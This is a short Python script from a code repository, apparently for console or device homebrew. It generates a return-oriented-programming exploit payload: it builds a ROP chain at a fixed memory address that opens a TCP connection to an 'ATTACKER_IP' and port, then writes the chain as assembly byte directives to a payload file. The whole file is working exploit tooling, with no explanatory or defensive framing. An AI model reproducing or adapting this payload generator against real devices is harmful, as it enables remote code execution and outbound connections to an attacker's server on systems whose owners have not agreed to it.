ROBChain/homebrew/generate_payload.py

11 lines
339 B
Python
Raw Permalink Normal View History

from tcp_ropchain import *
2020-03-06 20:03:26 +01:00
from config import *
import struct
2020-03-06 20:03:26 +01:00
rop_chain = tcp_thread_ropchain(0x4D070000 + 0x14, ATTACKER_IP, TCP_SERVER_PORT)
with open('payload.s', 'w') as f:
for val in rop_chain:
bytes = [hex(val >> i & 0xff) for i in (24,16,8,0)]
for v in bytes:
print('byte %s' % v, file=f)